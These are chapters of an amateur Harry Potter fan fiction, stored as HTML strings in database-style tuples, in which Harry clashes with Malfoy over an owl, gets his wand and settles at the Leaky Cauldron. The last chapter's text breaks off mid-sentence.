	(17, 6, '\n\n\n\n\n\n\n\n<p class="MsoNormal">AN- Harry has an &#8220;encounter&#8221; with Malfoy\nin this chapter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">PS: I MEAN &nbsp;to spell &quot;Anywho&quot;\nthat way...</p>\n\n<p class="MsoNormal">PPS: Everyone should look up the &quot;Switchblade\nKittens&quot; and get their song &quot;Ode to Harry Potter&quot;!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">The boy had a pale pointed face\nwith an arrogant look to it and the shape of his mouth had a sort of sneer to\nit even though he wasn\'t sneering at the moment. His hair was perfectly\nstraight and parted right down the middle. It hung halfway past his ears and\nwas so pale a blond that it seemed almost white next to the black robes he\nwore.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry felt an instant dislike of\nthis boy but reminded himself not to judge a sword by its sheath, a saying he\nhad picked up from Mr. Osakawa. Harry\'s sensei had\noften used the saying in reference to Harry himself.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">After a quick glance at Harry the\nboy dismissed him as unimportant and looked to Madame Malkin.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Father\nsaid to remind you to use your best material this time as there was a stain on\nthe last set of robes you made for me. He also said to remind you that he can\nmake life difficult for you should you fail to meet the Malfoy\nstandards.\' He said in a bored tone.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">He then turned and walked out a\ndoor in the side of the room that Harry assumed would open into the alley by\nthe store. However the boy shouted out &quot; Gringotts!&quot;\nas he passed through and Harry caught a glimpse of the main foyer through the\ndoorway before it closed behind the boy and disappeared (AN- don\'t worry Malfoy haters. I\'m not done with him yet.).</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Taken aback at first Harry\nreminded himself that &quot;Nothing is as it seems.&quot; when dealing in\nmagic. Thinking again about the boy, he realized that Madame Malkin was muttering to herself as she went about the room\npicking things up from the measurements she had just finished with. Harry\nthought he caught the words &quot;Damn Malfoys think\nthey\'re so...&quot; but he couldn\'t make out more than that. Harry decided that\nhis first impression of the boy might have been right after all. As well as\nbeing arrogant the boy, Malfoy, Harry reminded\nhimself, was also too dim to make a more subtle threat. That or he had reason\nto be so confidant. And from the looks of Madame Malkin\nI\'d guess that the latter is true.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Uh.\nExcuse me Madame Malkin? I know this will sound like\na silly question but I was wondering if you could explain that door to me?\' Harry asked pointing at the wall where the door had\nbeen. It was a poor attempt at getting her mind off the Malfoys\nbut Harry didn\'t like to see someone as seemingly kind as Madame Malkin upset by some little pest that needed to be taken\ndown a notch.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">For a moment Madame Malkin glared at the wall as though it was the cause of her\nproblems with the Malfoys. Then she shook her head,\nsighed and smiled at Harry.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' It\'s\nnot silly. I keep forgetting that you grew up with muggles\nthough.\' she replied.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Does\nEVERYONE know so much about me?\' Harry groaned exaggeratedly (AN- I know it\'s\nnot a word...).</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Madame Malkin\ncouldn\'t help but chuckle at this as she answered. \' Actually\nmost people don\'t know quite so much, but as Hagrid\nand I are acquaintances I\'ve learned as much about your life as Hagrid almost. As for the door...\nWell it\'s difficult to explain to someone that has no experience with magic.\nThe door belongs to the Malfoys and follows them\nwhere ever they are. it has a way of connecting any\ntoo rooms that are connected to the floo powder\nnetwork. Of course to understand that I\'d have to explain floo\npowder and so on so you can see how the best way to learn is experience in this\ncase.\' Having accomplished what he was aiming for, namely getting her\nconcentration off the Malfoys, Harry simply nodded\nhis agreement to her last statement and she started her measurements without a\nword.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Never having had his measurements\ntaken Harry wasn\'t sure what he was expected to do and eventually the two of\nthem were falling over with laughter as Harry almost fell over several times\nwhile trying to change positions for Madame Malkin to\nwork. All in all Harry had quite a good time just having his measurements taken\nand was grinning like an idiot by the time Madame Malkin\nwas done.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Your robes should be ready in\njust a few hours if you\'d like to go get the rest of your supplies with Hagrid and then come back for them?\' Madame Malkin said. She was still grinning at Harry\'s previous\nantics.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Did I\nhear my name?\' Boomed Hagrid as he came into the\nshop. \' So, yeh got yer robes yet Harry? No, of course you don\'t they won\'t be\ndone quite yet\' he said answering his own question.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' How\nare you Hagrid?\' Madame Malkin\nasked with a mischievous glint in her eyes. \' I heard\nyou went down to Harry\'s vault at Gringotts? Did you\nenjoy the ride? Harry said he had fun.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Ughh. Don\' remind me.\' Hagrid\ngroaned. \' But what are yeh doin\' here? Yer almost never in your shop. You\'re usually travelling around the world and bringing back new materials\nand fashions.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well I can only take so much\ntraveling at a time and since Harry here was supposed to be starting at\nHogwarts this year I thought that I\'d come back and make sure that his robes\nwere properly made.\' This answer seemed to satisfy Hagrid\nbut it only served to further embarrass Harry.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well Hagrid\nas I was just suggesting to Harry, why don\'t you take him to get the rest of\nhis supplies while I work on his robes then when you\'re done you can come back\nhere to pick them up?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' That\nsounds like a good idea. What d\'yeh say teh that Harry?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' It\'s\nalright with me.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Then\nlets git goin\'.\' Hagrid said and they left for Flourish and Blotts to get Harry\'s books.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Heh heh. Here\'s one yeh might like to try out on Dudley.\'\nHagrid said with a book called Curses and\nCounter-Curses by Vindictus Viridian.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry just chuckled a bit as Hagrid put the book down. He didn\'t really want revenge. As\nfar as he was concerned there was no point and it wouldn\'t make up for anything\nDudley had done to Harry unless Dudley\nactually felt sorry for the way he had treated Harry. Once Harry had all his\nbooks they left to pick up his other school supplies at a shop for\n&quot;General Wizarding Equipment&quot;.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Then they at last went to get\nHarry\'s wand. Harry had been waiting for this all day. Finally he would be able\nto do magic himself, or at least once he knew some he would but he figured he\'d\nbe able to learn something from his books before school started.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">When they entered, for once Harry\nfelt that the building was the same size inside, as it appeared to be outside.\nIt had the atmosphere of a library. Meaning that Harry didn\'t\nask the cascade of questions that he thought of upon entering the shop.\nIt just felt like speaking or disturbing the silence would be offensive to\neveryone there. Except that Hagrid was the only other\nperson there. Harry was about to ask Hagrid where the\nowner was when....</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Good\nafternoon.\' a soft voice said right behind Harry.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">The pale old man that was\nstanding there made it feel even more like a library with his half-moon\nspectacles and penetrating look. He was only up to Harry\'s shoulder but he had\na way of dominating the room and the already small room seemed to shrink around\nHarry and he wondered if maybe it was.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Ah\nyes. Yes, I thought I\'d be seeing you soon.\' Said the man.\n\' Harry Potter.\' It wasn\'t a question. (AN- the wands\nwill be slightly different than in the books.)\' You have your mothers eyes. I remember her well. Her first wand was ten\nand a quarter inches long, swishy, willow. Nice for charm\nwork. Your father\'s though, was mahogany. Twelve\ninches. Pliable. Excellent\nfor transfiguration. My name is Mr. Ollivander.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">By the end of this Harry and him were almost nose to nose although Mr. Ollivander was much shorter.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' And\nthat would be where...\' Mr. Ollivander said touching\nHarry\'s scar with a long finger. \' I\'m sorry to say\nthat I sold the wand that did it. Thirteen and a half inches.\nYew. Well if I\'d known what that wand was going out\ninto the world to do... Ah well. It is in the past.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Then, to Harry\'s relief, Mr. Ollivander saw Hagrid as he shook\nhis head at having been the one to sell THAT particular wand.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Rubeus Hagrid! How nice to\nsee you again. Oak, sixteen inches, rather bendy wasn\'t it?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' It was\nsir.\' Hagrid answered.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' It was\na fine wand. They broke it in half when you were expelled though I suppose?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' They\ndid but I\'ve still got the pieces.\' Hagrid said\nbrightly.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Mr. Ollivander\'s\nonly response was to chuckle softly and turn back to Harry. \'\nWell lets get to work. It always takes the longest to find your first\nwand. Well, now - Mr Potter Let me\nsee.\' He pulled a long tape measure with silver markings out of his pocket. \' Which is your wand arm?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Er - well, I\'m right-handed,\' said Harry</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Hold\nout your arm. That\'s it.\' he measured Harry from shoulder to finger, then wrist\nto elbow; shoulder to floor, knee to armpit and round his bead. As he measured,\nhe said, \'Every Ollivander wand has a core of a\npowerful magical substance, Mr Potter. We use unicorn\nhairs, phoenix tail feathers and the heartstrings of dragons. No two Ollivander wands are the same, just as no two unicorns,\ndragons or phoenixes are quite the same. And of course, you will never get such\ngood results with another wizard\'s wand.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry suddenly realised that the tape measure, which was measuring between\nhis nostrils, was doing this on its own. Mr. Ollivander\nwas flitting around the shelves taking down boxes.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' That\nwill do.\' he said, and the tape measure crumpled into a heap on the floor \'\nRight then, Mr Potter Try this one. \' Beechwood and dragon\nheartstring. Nine inches. Nice and flexible. Just take\nit and give it a wave.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry took the wand and waved it\naround a bit. To his surprise, a few small sparks flew out of the end, but Mr. Ollivander snatched it out of his hand almost at once.\nAfter that Harry started to lose track of how many wands he tried some did\nnothing others made sparks of different colours but\nMr. Ollivander quickly snatched each one from his\nhand. Harry would have apologized for being such a difficult customer if it\nhadn\'t seemed that the more difficult it was to find the right wand the more\nMr. Ollivander seemed to enjoy what he did.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Hmm,\nsomething odd then. Only a few wands like this have been useful. Ironwood and phoenix feather. Eleven\ninches. Stiff but flexible. Try it.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Then moment Harry touched the\nwand he knew it was the one. A warmth seemed to spread\nfrom his fingers all the way up his arm. As he flick the end of the wand at the\nwall. Bright silver and blue sparks shot out of the end. where\never they hit something they turned into a picture of the sparks. A line of\nblue and silver sparks was painted across the floor and up the wall.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Oh\nvery well done! Well done indeed!\' Mr. Ollivander\ncried out. \' Curious. You know I remember every single\nwand I\'ve sold and the phoenix that gave that feather gave just one other. Odd\nthat this would be your wand when it\'s brother is the\none that gave you that scar.... Yes, very odd indeed.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">After they\'d paid for the wand,\nas Hagrid and Harry left, Harry finally asked the\nquestion he had wanted to know since he entered the shop.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Umm...\nMr. Ollivander sir? I was\nwondering if you could tell me how you know how powerful a wand is?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Many\npeople have asked that when they get their first wand. The wand is not powerful\nat all. It is the wizard or witch themselves that have\nthe power.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Puzzled Harry asked \' But, then\nwhy do we need wands?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">For once Mr. Ollivander\nactually looked surprised at the question. \' The wand,\nHarry is merely a tool. It is used to focus the magical energy that a person\nthat is not a muggle has.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Instead of clearing things up\nHarry became even more confused. Hagrid had explained\napparation and that you didn\'t need a wand to do it.\nYou were simply able to transport yourself to where ever you were headed. Harry\nasked about this as well.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well I can only answer that by\nsaying that perhaps there are other ways of focusing magical energy.\' was Mr. Ollivander\'s reply, and with that Harry and Hagrid left to pick up Harry\'s robes and then his animal\nthat Hagrid had promised.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Very\ninteresting indeed.\' Mr. Ollivander said to himself\nafter Harry was gone. \' The only other wizards to ever\nask me those other questions were Dumbledore and... Merlin.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry and Hagrid\npicked up the robes then Hagrid suggested that Harry\nlook around a while by himself in Eylops before\nmaking a decision on an animal. So Harry was walking around in the musty store\nwhen he heard a familiar voice. It was the Malfoy\nboy. (AN- I\'m a poet and didn\'t know it! ^_^\')</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' You\ncall THAT a quality owl?! Get real! Humph! I suppose it\'ll have to do as it\'s\nthe best you\'ve got.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">The voice was in the isle next to\nthe one Harry was in. He heard the lady at the desk muttering something and counting\nout change. Then he heard an owl hooting in agitation as footsteps went towards\nthe door.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry got to the end of the isle\nand stepped out in front of the boy to see him sneering and trying to grab an\nowl out of it\'s cage while he walked. He didn\'t look\nup until he walked right into Harry and almost fell over. Harry didn\'t budge\nand inch.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Watch\nwhere you\'re going you oaf!\' the boy screamed at Harry.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry\'s face was completely\ndevoid of emotion as he asked \' What\'re you doing to that owl?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' None of\nyour f***ing business!\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' I\ndon\'t think it likes you. I don\'t blame it.\' Harry calmly said in return.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">AN- So this is how you write a cliff-hanger.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n\n\n\n\n\n'),
	(17, 7, '\n\n\n\n\n\n\n\n<p class="MsoNormal">AN- Hi! I\'m Back! Well I\'ve not got\nmuch to say this time. I\'m just going to pick up where I left off last time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Watch\nwhere you\'re going you oaf!\' the boy screamed at Harry.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry\'s face was completely\ndevoid of emotion as he asked \' What\'re you doing to that owl?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' None\nof your f***ing business!\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' I\ndon\'t think it likes you. I don\'t blame it.\' Harry calmly said in return.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Shut\nthe heck up! Who do you think you are? Your probably\nnothing but a mudblood.\' Said Malfoy as he swung at Harry.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry didn\'t move a muscle. Malfoy\'s fist connected with Harry\'s cheek and Harry\'s head\nsnapped back.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Teach\nyou to talk to a Malfoy like that.\' he muttered as he\nmoved to go around Harry. Harry grabbed the cage from Malfoy\nas he was walking by.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' I\ndon\'t think this bird did anything to deserve being YOUR owl.\' he said. There\nwasn\'t even a mark on his face. Years of Dudley\'s\n&quot;fun&quot; had toughened him up a lot, not to mention his training at the\nDojo.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' What\ndo you think you\'re doing? I paid for that!\' Malfoy\nsaid swinging at Harry again.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">This time Harry blocked the punch\nby swatting it to the side. Malfoy swung again and\nagain and each time Harry just blocked it. Malfoy was\nlooking rather enraged by Harry\'s lack of emotion so Harry put the bird and the\ncage down just in time to use both hands to stop Malfoy\nfrom tackling him. He grabbed Malfoy\'s wrist and\nunder his shoulder and, turning, he threw him back to the top of the isle. He\ntook out several galleons and dropped them on the floor in front of the other\nboy.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' There,\nnow I\'VE paid for it.\' and with that Harry turned and walked out of the store.\nHe knew that the boy would just get a different owl but at least maybe now he\nwouldn\'t be so arrogant.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry hadn\'t had a chance to look\nat his new owl but now that he did he couldn\'t understand HOW Malfoy could possibly say that this wasn\'t a wonderful\nanimal.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">The owl had calmed down almost\nimmediately after Harry had taken her (at least Harry THOUGHT it was a her...) from Malfoy and was now\npreening her ruffled feathers back into place. It seemed that she knew Harry\nwouldn\'t be like Malfoy.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry had thought that she had\nbeen a midnight black in the shop but\nnow she was a pure snowy white. Harry wasn\'t sure what type of owl it was but\nhe though that it might be a snowy owl as she was all white. In fact the only\npart of the owl that wasn\'t white were her eyes, which\nwere a startling bright green, matching Harry\'s exactly.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well\nwhat do you think, huh? Would you like to come to Hogwarts with me?\' Harry\nasked the bird.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">She turned her head at the sound\nof his voice and her eyes seemed to be telling Harry not to ask silly\nquestions. Harry thought she had a VERY expressive face for a bird.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Heh heh. I guess anyplace\nwithout Malfoy would be okay with you huh?\' Harry\nchuckled.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Just then Hagrid\ncame out of the Leaky Cauldron a couple stores down and spotted Harry right\naway.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Harry,\nI thought I told yeh I would buy your animal for\nyou?!\' Hagrid said as he came up to Harry.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' I know\nyou did but... Well there was a complication...\' Harry replied looking down at\nhis feet. At the time that he had taken the owl from Malfoy\nhe hadn\'t been thinking about the consequences of his actions. In fact he\nhadn\'t really been thinking at all, just reacting to the way the bird was being\ntreated. Now however he was beginning to think that maybe he shouldn\'t have\nintruded on something that hadn\'t really been any of his business.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Seeing the look on Harry\'s face Hagrid knew at once that something was up. He couldn\'t see\nHarry\'s eyes behind his glasses but he could tell that Harry thought he was in\ntrouble.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well\nwe can talk about that later, right now let me see what yeh\ngot there.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' I\'m\nnot too sure myself but I think it\'s a snowy owl or something. Do you know if\nit\'s a male or a female?\' Harry asked handing over the cage to Hagrid.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Hmmm...\nWell I can\'t say fer sure but I think I know what\nkind of owl it is. And it\'s definitely a girl, but I think we should go back\nand ask at the shop... Come to think of it why didn\'t they tell you when you\npaid for it? Or does that have something to do with the\n&quot;Complications&quot;?\' Hagrid asked trying his\nbest to sound amused in order to reassure Harry that he wasn\'t going to be in\nany trouble.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">As he was saying this Hagrid saw the Malfoy boy walking\nout of the Animal Emporium with a scared looking eagle. The boy looked quite\nannoyed and this gave Hagrid some idea of what was\ntroubling Harry. Especially when he saw Malfoy\nrubbing an obviously sore backside... </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Tell yeh what. Let\'s go find out what kind of owl we got here.\nIf I\'m right then you made a good choice and will have a faithful and useful\nanimal for Hogwarts.\' And with that they headed back into the shop Harry had\ncome out of.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Once inside Harry glanced around\nquickly for Malfoy and then relaxed seeing that he\nhad already left.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Hagrid\ncarried the cage up to the front counter where a fairly young,\nand fairly annoyed looking witch sat writing in a book that seemed to be a\nrecord of sales. She let out an aggravated sigh when Hagrid\nput the cage on the counter.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Look,\nI already told you...\' she started to say but then stopped when she saw Hagrid. She just stared for a moment at Hagrid\'s\nbelt before looking up... and up and up... to his face.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Oh my!\nI-I\'m sorry I thought you were someone else. Umm, How may I help you?\' she\nasked.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Oh yeh don\' need to apologise. I saw\nthat Malfoy boy on his way out of here, yeh deserve to be annoyed after serving slime like THAT\nfamily.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">At first the witch just looked\nshocked but then she smiled and laughed. \' I guess\nyou\'re right. So what seems to be the problem?\' she asked turning to the owl.\n(Harry was staying behind and to the side of Hagrid,\nas Hagrid seemed to know what he was doing and Harry\nof course had no idea.)</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Hmm.\nThis is the first owl that Malfoy choose. I was\nworried that he wouldn\'t be one to take care of a special animal like this but\nI saw someone take it from him on his way out. How did you get it?\' the witch\nasked as she inspected the bird in the cage.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Looking up she saw Harry and\nsmiled. \' Ahhh, I see. I\nthink I must thank you Mr....?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Uhhh... Just Harry is fine.\' Harry replied realizing\nthat she was addressing him. \'But thank me for what?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well\nthis particular owl needs to be cared for and I sincerely doubt that Master Draco could have managed.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Ah-ha!\nSo I was right! This IS a Tusuko Owl!\' Hagrid exclaimed.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Through most of this Harry had\nbeen completely lost and now was no exception. Harry couldn\'t understand why\nknowing that the owl needed to be cared for would mean it was a certain kind of\nowl and he said so.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well yeh see Harry she didn\'t mean that the owl needs to be\ntaken care of but that it literally needs someone that cares about it. Because\nof that there are NO wild Tusuko Owls and that\'s also\nwhy they are so rare.\' Hagrid answered.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' But if\nthere are no wild ones then how did they come to be in the first place?\' Harry\nasked.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well\nI\'m not sure about that myself...\' Hagrid answered.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well\nno one really knows for sure but there are some theories.\' The witch behind the\ncounter said. \' The most widely accepted one is that a\nyoung wizard a long long etc... time\nago tried to turn herself into an owl for some reason but that she got stuck as\nan owl and stuck in the owls mind and in essence became an owl with magical\nproperties. The Tusuko owls are her descendants. Some\npeople also think that she was the first one to attempt to become an animagus.\' she explained.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' So\nthen this owl has special abilities?\' Harry asked.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well... most would, but this\nparticular one has yet to show any magical properties other than changing colour to suit her owner... that\'s actually why Malfoy didn\'t really appreciate this owls worth.\' the girl\nlooked worried, as though she though Harry might feel the same.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well Malfoy should probably have a snake anyway.\' Hagrid muttered. \' So what do yeh want to do Harry? Keep this one or would yeh like to return it for a different animal?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Looking shocked at the suggestion\nHarry answered \' No way! I really like this owl and besides, what other animal\ncould we possibly find with eye\'s like hers?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Heh heh. Alrigh\' then Harry I guess she needs a name?\' Hagrid chuckled.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Umm...\nYeah I guess so.\' Harry replied. \' Does she have a\nname?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' No.\nSorry she doesn\'t. I\'m not even sure how or where the store owner got her.\' The\nclerk said.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Yeh don\' need to decide right here and now Harry.\nGive it a while. I\'m sure you\'ll think of a good name eventually. For now\nthough what do yeh say we get a place for you to stay\nuntil the first?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Okay\nlet\'s go.\' Harry said and they went back to the Leaky Cauldron to ask Tom about\na room for Harry.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">As the days past Harry spent a\nlot of his time in his room, as he was almost scared to face a crowd of wizards\nwithout Hagrid there to control them and Hagrid had needed to leave for reasons he was unwilling to\ntell Harry. Since he found his schoolbooks fascinating and since he would have\nbeen bored otherwise Harry spent most of his days reading up on his subjects.\nHe figured he\'d need any advantage over the other students who had grown up\nwith magic. He decided to call his owl Hedwig, a name he\'d found in Hogwarts: A\nHistory.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Whenever Harry DID leave the\nLeaky Cauldron he learned to Hid his scar and blend in with the other wizards\nso as not to attract attention to himself. It never\nworked completely but he was at least able to move about Diagon\nAlley (AN Say it fast-diagonally) without attracting a mob. His glasses did\nmuch to hid Harry since, because they were mirror plated, no one was able to\nsee the bright green of his eyes which had become almost as trademark for Harry\nas his scar.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">AN- Well, that&#8217;s it till next chapter!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n\n\n\n\n\n'),
	(17, 8, '\n\n\n\n\n\n\n\n<p class="MsoNormal">AN- Okay I don\'t know what you guys think but I think that\nlast chapter kinda sucked. I wasn\'t really getting\ninto the story like I normally do. But anywho, in\nthis chapter Harry is probably going to meet Hermione and Ron. I guess we won\'t\nknow until I type it...</p>\n\n<p class="MsoNormal">Bye</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Whenever Harry DID leave the\nLeaky Cauldron he learned to Hid his scar and blend in with the other wizards\nso as not to attract attention to himself. It never\nworked completely but he was at least able to move about Diagon\nAlley (AN Say it fast-diagonally) without attracting a mob. His glasses did\nmuch to hid Harry since, because they were mirror plated, no one was able to\nsee the bright green of his eyes which had become almost as trademark for Harry\nas his scar.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">During his stay\nat the Leaky Cauldron Harry had the best time of his life. Although he\nstill didn\'t feel like he really fit in he was learning a lot from his\nschoolbooks. He had found himself playing with his wand wanting to try out a\nspell or two from his books more than once. Of all of his school supplies\nHarry\'s wand was what interested him most and he was almost always holding it\nor constantly checking to make sure it was still in his pocket.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Truthfully Harry really didn\'t\nfit in yet but Tom always went out of his way, in his spare time, to tell Harry\nall about the wizarding world. Eventually Harry felt\nmore at home in the wizarding world, if not the Leaky\nCauldron, than he ever had at the Dursleys. In fact\nHarry was beginning to think that his idea of what a &quot;home&quot; was\nsupposed to be like was wrong. Home at his Uncle\'s house had never been this\nmuch fun!</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">On the last day before he was to\nleave for the train station Harry was becoming quite hyper and wanted 